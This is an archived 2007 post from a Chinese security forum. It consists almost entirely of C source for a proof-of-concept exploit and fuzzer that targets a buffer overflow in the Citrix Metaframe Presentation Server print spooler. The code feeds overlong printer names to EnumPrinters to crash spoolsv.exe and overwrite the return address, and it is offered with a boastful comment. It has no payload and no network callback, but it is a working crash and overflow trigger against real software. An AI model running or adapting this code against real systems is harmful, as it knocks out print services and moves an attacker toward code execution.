邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-1-28 09:47

Citrix Metaframe Presentation Server Print Provider Buffer Overflow PoC

[code]
/*
Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability
Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1
Author: Andres Tarasco Acu񡠭 [email]atarasco@514.es[/email]
url: [url]http://www.514.es[/url]

This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that
it will help to identify similar vulnerabilities.
Tested against win2k3 + Citrix presentation server. If the system is vulnerable
this application will kill spooler service (spoolsv.exe ) and ret will be overwritten
with 0x00410041

514 Tiger Team ownz u

*/
#include <stdio.h>
#include <windows.h>
#include <Winspool.h>
#pragma comment(lib,"Winspool.lib")


void usage(char *name) {
    printf("Usage: %s -a (Ascii fuzzing for local printer providers)\n",name);
    printf("Usage: %s -u (Unicode fuzzing for local printer providers)\n",name);
    exit(0);
}

#define RECURSIVE 1
#define OPT_UNICODE 2
#define MAX_PRINTER_LEN 4096

#define _DBG_
#undef _DBG_

int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000};
wchar_t dst[MAX_PRINTER_LEN];



void Fuzzer( wchar_t *orig,int opt, int unicode) {
  int i,j;
  int len;

  if (unicode) len=wcslen(orig);
  else len=strlen((char *)orig);
  memset((char *)dst,&#39;\0&#39;,sizeof(dst));
  memcpy((char *)dst,orig,len*(1+unicode));
  j=wcslen(orig);
  for(i=0;i<CustomFuzzSize[opt];i++) {
    if (unicode) dst[j+i]=&#39;A&#39;;
    else ((char *)dst)[j+i]=(char)&#39;A&#39;;
  }

  if (opt==0) {
  if (unicode)
  printf("Fuzzing: %S ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
  else printf("Fuzzing: %s ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
  }
  
}


DWORD ShowPrinterInfo(wchar_t *lpName,  int level, int opt, char *padding) {

  unsigned char *lpInfo;
  int i,j;
  DWORD n;
  DWORD dwSizeNeeded=0;
  char newpadding[50];

  DWORD ret;

  if (opt & OPT_UNICODE) {
    EnumPrintersW ( PRINTER_ENUM_NAME, (wchar_t* )lpName, level, NULL, 0, &dwSizeNeeded, &n );
  } else {
    EnumPrintersA ( PRINTER_ENUM_NAME, (char *)lpName, level, NULL, 0, &dwSizeNeeded, &n );
  }
  if (dwSizeNeeded==0) {   
#ifdef _DBG_
    printf ( "EnumPrintersX() Invalid. Error: %d \n",GetLastError() );
#endif
    return(-1);
  }

  lpInfo = (void *)HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, dwSizeNeeded );

  if ( lpInfo != NULL ) {
      if (opt & OPT_UNICODE) {
        ret=EnumPrintersW ( PRINTER_ENUM_NAME,(wchar_t *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
      } else {
        ret=EnumPrintersA ( PRINTER_ENUM_NAME,(char *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
      }
    if (  ret== 0 )
    {
#ifdef _DBG_
      printf ( "EnumPrintersX() Failed. Error: %d ( %i)\n",GetLastError(),dwSizeNeeded  );
#endif
      HeapFree ( GetProcessHeap (), 0, lpInfo );
      return 0;
    } else {
      PRINTER_INFO_1 *dataI;
      PRINTER_INFO_2 *dataII;
      
      for ( i=0; i < n; i++ ) {
          dataI=(PRINTER_INFO_1*)lpInfo;
         
          printf("%s",padding);
          if (opt & OPT_UNICODE) {
            if (dataI[i].pName)  printf(" %S - ",(dataI[i].pName));
            if (dataI[i].pDescription)  printf(" %S ",(dataI[i].pDescription));
            //if (dataI[i].pComment)  printf(" %S - ",(dataI[i].pComment));
          } else {
            if (dataI[i].pName)  printf(" %s - ",(dataI[i].pName));
            if (dataI[i].pDescription)  printf(" %s ",(dataI[i].pDescription));
            //if (dataI[i].pComment)  printf(" %s - ",(dataI[i].pComment));
          }
            printf("\n");
          for(j=0;j<sizeof(CustomFuzzSize)/sizeof(int);j++) {
            if (opt & OPT_UNICODE) {
              Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
              ShowPrinterInfo((wchar_t*)dst,level, OPT_UNICODE, newpadding);        
            } else {
              Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
              ShowPrinterInfo((wchar_t*)dst,level, 0, newpadding);        
            }
          }
          if (opt & RECURSIVE ) {
            strcpy (newpadding,padding);
            strcat(newpadding,"---");
            newpadding[1]=&#39;+&#39;;
            ShowPrinterInfo(dataI[i].pName,level, opt, newpadding);
          }
          printf("\n");
      }
      HeapFree ( GetProcessHeap (), 0, lpInfo );
    }
  }

  return(1);
}

int testPrinters(void) {
  DWORD size,ret,err;
  ret=EnumPrintersW ( PRINTER_ENUM_NAME, NULL, 1, NULL, 0, &size, &size );
    if (  ret==0 ) {
      err=GetLastError();
      if (err!=122) { //size error
        printf("[-] Printer Service not available - Error: %d\n",err );      
        exit(-1);
      }
    }
    return(1);
}
int main ( int argc, char *argv[] )
{

  printf("[+] Citrix Presentation Server - Local EnumPrinterW() POC exploit\n");
  printf("[+] Discovered by ZDI - [url]http://secunia.com/advisories/23869/[/url]\n");
  printf("[+] Proof of concept by Andres Tarasco - [email]atarasco@514.es[/email]\n\n");

  if (argc!=2) usage(argv[0]);

  testPrinters();
  printf("[+] Printer Service Seems to be working.. Fuzzing\n");

  if ( (argv[1][1]==&#39;u&#39;))  {
    ShowPrinterInfo(NULL,1,3,"[*]");
    testPrinters();
  }
  if ( (argv[1][1]==&#39;a&#39;))  {
    ShowPrinterInfo(NULL,1,1,"[*]");
    testPrinters();
  }
  

  return(0);
}


[/code]

页: [1]
© 1999-2008 EvilOctal Security Team